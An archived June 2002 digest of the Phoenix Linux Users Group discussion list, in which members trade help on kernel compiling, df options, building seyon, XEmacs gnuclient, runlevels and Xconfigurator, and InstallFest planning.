plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 13 Jun 2002 14:50:08 -0400 (EDT) Subject: Carl Parrish's charset In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B4A0@mail.int.fh.org> Message-ID: From Carl's message headers: Content-Type: text/plain; charset=ISO8859_1 I believe the correct setting should be either ISO-8859-1 or iso-8859-1. On Thu, 13 Jun 2002, Tom Achtenberg wrote: > Carl Every message sent to the list by you comes this way. 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"Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 20:37:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 13 Jun 2002 13:37:47 -0700 (MST) Subject: Swap Meet this Sunday 16 June In-Reply-To: Message-ID: Am 13. Jun, 2002 schwätzte William Lindley so: > Just the place to get whatever bits of hardware you need to build that > spare system for the InstallFest on the 22nd -- > > Swap Meet this Sunday, 6am to 1pm, 8302 E. McDowell Rd, Scottsdale AZ > > http://azweb.com/troop446/ > Sponsored by Boy Scout Troop 446 We should point this out on the InstallFest pages through the weekend. "Need hardware? See the Boy Scouts..." type of thing. ciao, der.hans -- # https://www.LuftHans.com/ # Hope has two beautiful daughters: Anger and Courage. Anger at the way # things are, and Courage to struggle to create things as they should be. # -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 20:43:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 13:43:24 -0700 Subject: install fest suggestion In-Reply-To: ; from jay@kinetic.org on Thu, Jun 13, 2002 at 11:57:33AM -0700 References: <20020613174452.35996.qmail@web10608.mail.yahoo.com> Message-ID: <20020613134324.A24216@nadesico> On Thu, Jun 13, 2002 at 11:57:33AM -0700, Jay wrote: > > > Well, here's a real simple way to compile your kernel. Untar the new > kernel sources in /usr/local/src/ then as root do: > > cd /usr/local/src/linux && make menuconfig && make dep && make clean && > make modules && make modules_install > > (that is all one command on one line - it wraps in email) > > That will configure, compile, and install the new kernel as /vmlinuz. It > will also automatically backup your old kernel as /vmlinuz.old. You just > need to make sure your LILO config is pointing to /vmlinuz for the kernel > and you're all done. Once you've configured LILO, all you ever need to do > is the above command and everything else happens automagically. > > (Disclaimer: If this blows up your dog, sours your milk, or any thing > else, it's not my fault. :) I've been using this method since 1996 and it > has never failed me yet. However, your mileage may vary.) > > ~Jay Good documentation on how the Linux Kernel build system is available in /usr/src/linux/README. Also, /usr/src/linux/Documentation is your friend when you're looking for any info regarding the kernel. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 20:53:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 13 Jun 2002 13:53:31 -0700 (MST) Subject: Job control commands In-Reply-To: Message-ID: Am 13. Jun, 2002 schwätzte William Lindley so: > Thinking back to the days of RSTS-E (DEC PDP-11, the first timeshare > computer I used) is there a Unix-y way to: > > * Completely suspend a running task - not just a low priority > but totally stop it until it's later restarted As Thomas already said, use control-z to suspend the active program. This is a bourne shell feature and works for bourne shell derivatives such as bash and ksh. > * Attach a task from another terminal to the one I'm at now > (I.e., I start emacs on virtual terminal 3 and I want to move it > to virtual terminal 2) Look at screen for character based apps. emacs has a way to attach to another emacs session similar to vnc. I think you have to actually close the local window before you can open it remotely, though. Time for the emacs people to pipe up :). ciao, der.hans -- # https://www.LuftHans.com/ # A t-shirt a day keeps the noose (tie) away. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 21:00:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 13 Jun 2002 14:00:03 -0700 (MST) Subject: VRML question In-Reply-To: <3D08C9D7.B0E6A0EC@leml.asu.edu> Message-ID: Am 13. Jun, 2002 schwätzte John (EBo) David so: > I'm playing with some PD software that dumps stuff out in VRML. > > Can people make suggestions on VRML viewers/brousers? Is there a > konquerer or Netscape plugin? I haven't written any VRML in years, so haven't tried these. freewrl - vrml browser and netscape plugin openvrml-lookat - VRML X11 viewer vrweb - A VRML browser and editor. vrwave - VRML 2.0 java-based browser ciao, der.hans -- # https://www.LuftHans.com/ # The Internet is the front line of the battle # to protect our freedom. -- Nathaniel Borenstein From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 21:11:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Thu, 13 Jun 2002 14:11:31 -0700 Subject: install fest suggestion In-Reply-To: <20020613185336.4B4276DA21@www.fastmail.fm> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Something I wish I had when I was beginning (and still do for that matter) is a quick-reference of shell commands. Granted, this isn't something the "average computer user" might want, but I think an "average Linux user" would find this very helpful. This could even be something printable from the website. I think it should contain the basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, etc..., I'm sure there are some I'm leaving out in my own inexperience), a list of customizable files (bash prompts & profiles, fstab, etc) and possibly (no religious wars here) a quick startup guide to a text-editor. I personally just figured out how to save and exit vi, and don't ask me to quit without saving. This may be over the head of some users as I an a Linux newbie, but not technically inexperienced. Anywhoo, it's something I wish I had. "I've had a wonderful time, but this wasn't it." -- Groucho Marx matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.PLUG.phoenix.az.us [mailto:plug-discuss-admin@lists.PLUG.phoenix.az.us]On Behalf Of Robert A. Klahn Sent: Thursday, June 13, 2002 11:54 AM To: plug-discuss@lists.PLUG.phoenix.az.us Subject: Re: install fest suggestion I dont know if kernel compiling is a skill that every Linux user needs to know. An enormous amount can be done with most distributions before the point where one needs to know how is reached. Bash skills, however, are probably basic. It might be possible to get by without, but I would not want to try. That being said, I think the suggestion, for both Bash and Kernel Compiling, is a good one, given sufficient intrest. Bob. On Thu, 13 Jun 2002 12:30:28 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: > Message: 1 > Date: Thu, 13 Jun 2002 10:44:52 -0700 (PDT) > From: Alpha Zenon Sanchez > Subject: install fest suggestion > To: plug-discuss@lists.plug.phoenix.az.us > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Hello Linux Users - > > I was wondering if anyone cared to give demonstrations > on the proper way of compiling a Linux Kernel during > the installfest (I'm looking forward to it btw). I'm > starting get a 'feel' for Linux, and I've read > HOW_TO's > and various articles on compiling, but they're all > different. I've downloaded articles from ZDNET and > techrepublic as well. These articles say different > things which would confuse a Linux beginner. > > My thinking is that some people that will show up at > the intallfest are Linux 'newbies' and would jump at > a chance to watch Linux users who have been doing this > a while demonstrate some Linux skills. > > Besides Kernal compiling and basic bash commands, what > else should a Linux user know? > > Thanks in advance > > -Alpha > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > - ----------------------------------------------------------- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBPQkKggGGayDd50X1EQJG8wCg0DFZzz7UCJ/vZ1coqLl0wLzj9MYAnjpe 5Vpx6BbsuwpAkB260jqD2rtE =1uRs -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 21:18:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 13 Jun 2002 14:18:43 -0700 Subject: a df option question In-Reply-To: <15624.60789.387418.334915@bela.interhack.net> References: <15624.56702.739725.690008@bela.interhack.net> <200206131136.16724.zen2now@qwest.net> <15624.60789.387418.334915@bela.interhack.net> Message-ID: <200206131418.43134.zen2now@qwest.net> DOH!!!! slr On Thursday 13 June 2002 12:07 pm, Lynn David Newton wrote: > No more responses necessary. See below. > > slr> nor have i, my RH7.1, 7.2 and 7.3 boxes all report: > slr> df -b MB > slr> df: invalid option -- b > > That was an upper case -B. > > Someone sent me a copy of a df man page, said to be > from Mandrake 8.2, that does indeed document -B MB as > being valid. The relevant part of the man page says: > > -B, --block-size=SIZE use SIZE-byte blocks > > ... > > SIZE may be (or may be an integer optionally followed by) > one of following: kB 1000, K 1024, MB 1,000,000, M > 1,048,576, and so on for G, T, P, E, Z, Y. > > Interesting. And certainly unportable. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 21:27:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Thu, 13 Jun 2002 14:27:20 -0700 Subject: Job control commands In-Reply-To: References: Message-ID: <15625.3640.781825.389752@bela.interhack.net> >> (I.e., I start emacs on virtual terminal 3 and I >> want to move it to virtual terminal 2) hans> Look at screen for character based apps. hans> emacs has a way to attach to another emacs hans> session similar to vnc. I think you have to hans> actually close the local window before you can hans> open it remotely, though. hans> Time for the emacs people to pipe up :). That would be me, but I'm not sure I understand the question. I'll tell what I know about that sounds similar. Whether the following runs with GNU Emacs I do not know, but I think so. With XEmacs you can start a daemon process running called gnuserv. It comes with the distribution, and its' started within XEmacs once it's running with M-x gnuserv-start. (Usually inserted in startup files.) This process listens for calls to it from external sources. The process runs on a per-user basis, by setting up a directory in /tmp/gsrvdir${UID} and putting a socket file in that directory to communicate with. There are a number of ways in which this is useful. I have the following environment variables set inside XEmacs, where I also run a lot of shells. CVSEDITOR=gnuclient EDITOR=gnuclient FCEDIT=gnuclient VISUAL=gnuclient That way anytime I want to call a shell utility that uses the value of one of those variables, it automatically pops up a new window with the required stuff. I can also run a shell command lines like this: $ gnuclient "filename" to edit filename in a new buffer (and window) or $ gnuclient -eval '(dired "/etc")' But one of the coolest things you can do is: $ gnuclient -nw which allows gnuclient to attach itself to a running XEmacs process in the current TTY. I have used this to login from a remote system using telnet or ssh and attach myself to an already running XEmacs process. That way I can read my email or do anything I want from the remote system, and things will be exactly as I changed them when I get back to the original system. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:12:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 19:12:36 -0400 Subject: Building seyon. Where xmkmf? Message-ID: OK, I want to try the X windows based serial port terminal program seyon. I downloaded the source. The docs say to "run xmkmf" to begin the build process. I don't have this xmkmf on my Red Hat 7.2 or 7.3 system. I find references to it all over the net but no place where I can download it. A) Does anyone know where I can download this makefile generator utility? OR B) Can I build seyon without this utility, somehow using the Imakefile to generate a real makefile? Or are there other options to get seyon? Alan From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:23:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Austin Godber) Date: Thu, 13 Jun 2002 16:23:21 -0700 Subject: Building seyon. Where xmkmf? References: Message-ID: <3D092969.E0D26CCC@asu.edu> Are you sure it is not in: godber@hostname ~>locate xmkmf /usr/X11R6/bin/xmkmf /usr/X11R6/bin/mxmkmf Also, I sould just stick with minicom. Seyon isn't that great. Well, its always annoyed me. alandd@mindspring.com wrote: > > OK, I want to try the X windows based serial > port terminal program seyon. I downloaded the > source. The docs say to "run xmkmf" to begin > the build process. > > I don't have this xmkmf on my Red Hat 7.2 or 7.3 > system. I find references to it all over the > net but no place where I can download it. > > A) Does anyone know where I can download this > makefile generator utility? > > OR > > B) Can I build seyon without this utility, > somehow using the Imakefile to generate a real > makefile? > > Or are there other options to get seyon? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:30:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Thu, 13 Jun 2002 16:30:22 -0700 Subject: a df option question References: Message-ID: <3D092B0E.AB52DEF0@earthlink.net> And off my Mandrake 8.1 : [pete@rotor pete]$ df Filesystem 1k-blocks Used Available Use% Mounted on /dev/hda1 248964 119884 129080 49% / /dev/hda8 240928 34780 206148 15% /boot none 192212 0 192212 0% /dev/shm /dev/hda12 6152668 2826800 3325868 46% /home /dev/hda11 3622508 98152 3524356 3% /opt /dev/hda6 4176736 2013256 2163480 49% /usr /dev/hda7 329284 130696 198588 40% /var /dev/hda9 2273088 32840 2240248 2% /var/ftp /dev/hda10 2104408 42516 2061892 3% /var/www [pete@rotor pete]$ df -b df: invalid option -- b Try `df --help' for more information. [pete@rotor pete]$ df -B df: invalid option -- B Try `df --help' for more information. [pete@rotor pete]$ df -B MB df: invalid option -- B Try `df --help' for more information. [pete@rotor pete]$ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:34:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 13 Jun 2002 16:34:31 -0700 Subject: Building seyon. Where xmkmf? In-Reply-To: <3D092969.E0D26CCC@asu.edu> References: <3D092969.E0D26CCC@asu.edu> Message-ID: <200206131634.36948.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 13 June 2002 04:23 pm, Austin Godber wrote: > godber@hostname ~>locate xmkmf > /usr/X11R6/bin/xmkmf > /usr/X11R6/bin/mxmkmf To add a little information, it is part of the XFree86-devel package. (New user hint (for rpm-based systems): 'rpm -qf /usr/X11R6/bin/xmkmf') > Also, I sould just stick with minicom. Seyon isn't that great. Well, > its always annoyed me. I would have to agree with this. I found minicom to be quite excellent, while seyon was only good. However, note that with minicom you might have to configure both minicom and/or your terminal for things like backspaces, while seyon is on its own. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9CSwLpNoctRtUIRQRAqHxAJ0YrNkADLkGTx+koWvQc/wmcWGuHACfZgDW +dinXOTxdDJKlJwom+sNMyI= =CF/g -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:36:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Thu, 13 Jun 2002 16:36:33 -0700 Subject: a df option question In-Reply-To: <3D092B0E.AB52DEF0@earthlink.net> References: <3D092B0E.AB52DEF0@earthlink.net> Message-ID: <200206131636.38755.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Thursday 13 June 2002 04:30 pm, mazdaracer wrote: > And off my Mandrake 8.1 : Maybe it is an extremely new feature. RedHat 7.3 has version 4.1 of fileutils, while Mandrake uses 4.1.5. Something to think about. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9CSyFpNoctRtUIRQRAvDDAJ9kk3YPSh6gWTpW7C6pnzJfHRuXegCgkGqc DhV2Z3o2mrh20bGhF55PJ7U= =xgLh -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:36:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Buettner) Date: Thu, 13 Jun 2002 16:36:39 -0700 Subject: Building seyon. Where xmkmf? In-Reply-To: "Building seyon. Where xmkmf?" (Jun 13, 7:12pm) References: Message-ID: <1020613233634.ZM28535@localhost.localdomain> On Jun 13, 7:12pm, wrote: > OK, I want to try the X windows based serial > port terminal program seyon. I downloaded the > source. The docs say to "run xmkmf" to begin > the build process. > > I don't have this xmkmf on my Red Hat 7.2 or 7.3 > system. I find references to it all over the > net but no place where I can download it. > > A) Does anyone know where I can download this > makefile generator utility? xmkmf is in /usr/X11R6/bin/xmkmf If you don't have it on your Red Hat 7.3 system, install the XFree86-devel-4.2.0-8 RPM from CD. Kevin From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 00:08:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 13 Jun 2002 17:08:02 -0700 Subject: install fest suggestion In-Reply-To: References: Message-ID: <0206131708021R.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Ahhhh . . . getting Linux installed on a box is just the start of the conspiracy. After they are hooked, we get them to PLUG meetings, get PLUG to do some training sessions, and from there, who knows ::grin:: On Thursday 13 June 2002 14:11, you wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Something I wish I had when I was beginning (and still do for that > matter) is a quick-reference of shell commands. Granted, this isn't > something the "average computer user" might want, but I think an > "average Linux user" would find this very helpful. This could even be > something printable from the website. I think it should contain the > basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, > etc..., I'm sure there are some I'm leaving out in my own > inexperience), a list of customizable files (bash prompts & profiles, > fstab, etc) and possibly (no religious wars here) a quick startup > guide to a text-editor. I personally just figured out how to save and > exit vi, and don't ask me to quit without saving. This may be over > the head of some users as I an a Linux newbie, but not technically > inexperienced. > > Anywhoo, it's something I wish I had. > > > "I've had a wonderful time, but this wasn't it." > -- Groucho Marx > > matt wyant | friend, gentleman, scholar > zanfar@nospam.zanfar.com > > - -----Original Message----- > From: plug-discuss-admin@lists.PLUG.phoenix.az.us > [mailto:plug-discuss-admin@lists.PLUG.phoenix.az.us]On Behalf Of > Robert > A. Klahn > Sent: Thursday, June 13, 2002 11:54 AM > To: plug-discuss@lists.PLUG.phoenix.az.us > Subject: Re: install fest suggestion > > > I dont know if kernel compiling is a skill that every Linux user > needs > to know. An enormous amount can be done with most distributions > before > the point where one needs to know how is reached. > > Bash skills, however, are probably basic. It might be possible to get > by without, but I would not want to try. > > That being said, I think the suggestion, for both Bash and Kernel > Compiling, is a good one, given sufficient intrest. > > Bob. > > On Thu, 13 Jun 2002 12:30:28 -0700, > > plug-discuss-request@lists.plug.phoenix.az.us said: > > Message: 1 > > Date: Thu, 13 Jun 2002 10:44:52 -0700 (PDT) > > From: Alpha Zenon Sanchez > > Subject: install fest suggestion > > To: plug-discuss@lists.plug.phoenix.az.us > > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > > > Hello Linux Users - > > > > I was wondering if anyone cared to give demonstrations > > on the proper way of compiling a Linux Kernel during > > the installfest (I'm looking forward to it btw). I'm > > starting get a 'feel' for Linux, and I've read > > HOW_TO's > > and various articles on compiling, but they're all > > different. I've downloaded articles from ZDNET and > > techrepublic as well. These articles say different > > things which would confuse a Linux beginner. > > > > My thinking is that some people that will show up at > > the intallfest are Linux 'newbies' and would jump at > > a chance to watch Linux users who have been doing this > > a while demonstrate some Linux skills. > > > > Besides Kernal compiling and basic bash commands, what > > else should a Linux user know? > > > > Thanks in advance > > > > -Alpha > > > > ===== > > Thanks, > > Alpha Zenon Sanchez > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > - ----------------------------------------------------------- > Robert A. Klahn > robert@kint.org > AIM: rklahn > > "Hope has two beautiful daughters: Anger and Courage. Anger > at the way things are, and Courage to struggle to create > things as they should be." -- St. Augustine > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBPQkKggGGayDd50X1EQJG8wCg0DFZzz7UCJ/vZ1coqLl0wLzj9MYAnjpe > 5Vpx6BbsuwpAkB260jqD2rtE > =1uRs > -----END PGP SIGNATURE----- > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQkz4ysk3ywszI1FEQJWxgCfbnjqcojWriboqoliystJR1+FY6IAoIr7 zSNAjxxb/g1+YviYpKcqTAFV =Jdik -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 00:58:52 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Thu, 13 Jun 2002 17:58:52 -0700 Subject: Questions References: <0206131708021R.08309@nova.wedge.org> Message-ID: <007101c2133e$a6b0f430$6501a8c0@drghastly> First, very small note of pride, got my samba server running. Would have taken me a lot less time, if it hadn't been for the fact I was stupid and didn't realize you have to run SWAT as root....after that it was easy. On to my question. I'm trying to figure out how to change the desktop resolution in KDE with my RH7.3 I can see the settings for the X-Server, but I can't figure out how to change it..? Any help would be nice. I'll keep looking myself in the meantime. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 22:34:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Thu, 13 Jun 2002 15:34:59 -0700 Subject: East Side Meeting Today Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DDA@azmscorp01.corp.azms> Just curious is http://plug.phoenix.az.us/ down. I am trying to get directions to get out there for the meeting. Thanks. Larry -----Original Message----- From: alandd@mindspring.com [mailto:alandd@mindspring.com] Sent: Thursday, June 13, 2002 8:15 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: [PLUG-announce]East Side Meeting Tomorrow! Please, PLEASE remember: The subject line is wrong. The meeting is TODAY. Alan On Wed, 12 Jun 2002 14:00:20 -0400 plug-announce-admin@lists.PLUG.phoenix.az.us wrote: YES, we are having a meeting. Representatives from Intel will be presenting on how they use Linux within the company. IT infrastructure, mult-machine building, clustering, and desktop use will be discussed. I confirmed with them by phone yesterday. They will be bringing stuff to giveaway too! I hope you can be there. The ususal place and time Sequoia School, 7pm Alan _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 01:32:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 13 Jun 2002 18:32:10 -0700 (PDT) Subject: Questions In-Reply-To: <007101c2133e$a6b0f430$6501a8c0@drghastly> Message-ID: On Thu, 13 Jun 2002, Dr.G wrote: > On to my question. I'm trying to figure out how to change the desktop > resolution in KDE with my RH7.3 I can see the settings for the X-Server, but > I can't figure out how to change it..? Any help would be nice. I'll keep > looking myself in the meantime. The simplest way is to go to runlevel 3 and run Xconfigurator. Then choose the resolution you'd like and go back to runlevel 5. For example: init 3 Xconfigurator init 5 From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 01:38:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Thu, 13 Jun 2002 18:38:18 -0700 Subject: Questions References: Message-ID: <007f01c21344$28c9c190$6501a8c0@drghastly> I assume by runlevel3 you mean my level of access? <----Noob. ----- Original Message ----- From: "Matt Alexander" To: Sent: Thursday, June 13, 2002 6:32 PM Subject: Re: Questions > On Thu, 13 Jun 2002, Dr.G wrote: > > > On to my question. I'm trying to figure out how to change the desktop > > resolution in KDE with my RH7.3 I can see the settings for the X-Server, but > > I can't figure out how to change it..? Any help would be nice. I'll keep > > looking myself in the meantime. > > The simplest way is to go to runlevel 3 and run Xconfigurator. Then > choose the resolution you'd like and go back to runlevel 5. For example: > > init 3 > Xconfigurator > init 5 > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 01:53:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Thu, 13 Jun 2002 18:53:54 -0700 (PDT) Subject: Questions In-Reply-To: <007f01c21344$28c9c190$6501a8c0@drghastly> Message-ID: On Thu, 13 Jun 2002, Dr.G wrote: > I assume by runlevel3 you mean my level of access? <----Noob. When your system boots up it consults /etc/inittab to find the default runlevel. Your inittab most likely has this line: id:5:initdefault: This tells your system to boot into runlevel 5. /etc/rc.d/rc5.d contains aliases to the scripts that will be executed at this runlevel. You'll also see a line like this: x:5:respawn:/etc/X11/prefdm -nodaemon This line tells your box to run the X Window System at runlevel 5. You'll also see other lines for tty's, etc. So, by changing to runlevel 3, you're exiting out of the GUI environment. If you wanted to run your box without the GUI, you could change the initdefault to 3 and always boot to a console (I do this for all of my servers). Level 6 means reboot, so if you type init 6 (as root), you'll reboot your box. Init 0 is to shutdown. Init 1 is single-user mode. The other runlevels can be defined for whatever purpose you'd like. Consult the inittab manpage for more detail. ~M From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 03:55:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 13 Jun 2002 23:55:27 -0400 Subject: Suggestions? References: <002101c212f0$3d6a1a90$0100000a@kilo> Message-ID: <3D09692F.D6EC07DC@georgetoft.com> There is an article in SysAdmin magazine that covers this topic in great detail, including code. George James Shaker wrote: > > Hello All, > > I would like to use "you all" as a sounding board for a project I am > working on, if that is ok? > > We have developed a machine that will be deployed in a few thousand > locations around the US, Puerto Rico, and Bahamas. This product will be > connected to a phone line and will call a linux server that we set up as > a PPP dial in server. Once connected, the product will send a small > email detailing production amounts and status information. The machine > will also receive an email, if any, for parameter changes, etc. This > all works well. > > Once the server receives the email I want to parse that information and > put it into MySql. The status of these machines can be viewed via the > web using apache and PHP4. > > What I would like some advice on, what is the better method of parsing > the email and putting it into MySql? > > Its not that I don't have many options... I have too many. > > Procmail -> awk/sed -> PHP4 script -> MySql > > Perl -> MySql > > And many other combination of tools. I am leaning towards a Perl -> > MySql solution for the simplicity; however, I want to know if anyone > else has something that might be better. Perhaps Python? > > Thank "you all" for your time, > > James > james@vartek-corp.com > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 03:57:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 13 Jun 2002 23:57:32 -0400 Subject: a df option question References: <15624.56702.739725.690008@bela.interhack.net> <0206131135441H.08309@nova.wedge.org> Message-ID: <3D0969AC.AB8D9AF4@georgetoft.com> df -B is not valid on my system (SuSE), and the man page is copyright 2001. George Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > - From a man df | more on my M8.0 system: > > DF(1) FSF DF(1) > > NAME > df - report filesystem disk space usage > > SYNOPSIS > df [OPTION]... [FILE]... > > DESCRIPTION > This manual page documents the GNU version of df. df dis­ > plays the amount of disk space available on the filesystem > containing each file name argument. If no file name is > given, the space available on all currently mounted > filesystems is shown. Disk space is shown in 1K blocks by > default, unless the environment variable POSIXLY_CORRECT > is set, in which case 512-byte blocks are used. > > If an argument is the absolute file name of a disk device > node containing a mounted filesystem, df shows the space > available on that filesystem rather than on the filesystem > containing the device node (which is always the root > filesystem). This version of df cannot show the space > available on unmounted filesystems, because on most kinds > of systems doing so requires very nonportable intimate > knowledge of filesystem structures. > > OPTIONS > Show information about the filesystem on which each FILE > resides, or all filesystems by default. > > -a, --all > include filesystems having 0 blocks > > --block-size=SIZE use SIZE-byte blocks > > -h, --human-readable > print sizes in human readable format (e.g., 1K 234M > 2G) > > -H, --si > likewise, but use powers of 1000 not 1024 > > -i, --inodes > list inode information instead of block usage > > -k, --kilobytes > like --block-size=1024 > > -l, --local > limit listing to local filesystems > > -m, --megabytes > like --block-size=1048576 > > --no-sync > do not invoke sync before getting usage info > > GNU fileutils 4.0p March 2001 1 > > DF(1) FSF DF(1) > > (default) > > -P, --portability > use the POSIX output format > > --sync invoke sync before getting usage info > > -t, --type=TYPE > limit listing to filesystems of type TYPE > > -T, --print-type > print filesystem type > > -x, --exclude-type=TYPE > limit listing to filesystems not of type TYPE > > -v (ignored) > > --help display this help and exit > > --version > output version information and exit > > AUTHOR > Written by Torbjorn Granlund, David MacKenzie, Larry > McVoy, and Paul Eggert. > > REPORTING BUGS > Report bugs to . > > COPYRIGHT > Copyright © 1999 Free Software Foundation, Inc. > This is free software; see the source for copying condi­ > tions. There is NO warranty; not even for MERCHANTABILITY > or FITNESS FOR A PARTICULAR PURPOSE. > > SEE ALSO > The full documentation for df is maintained as a Texinfo > manual. If the info and df programs are properly > installed at your site, the command > > info df > > should give you access to the complete manual. > > > > > > > > > > > > > > GNU fileutils 4.0p March 2001 2 > > On 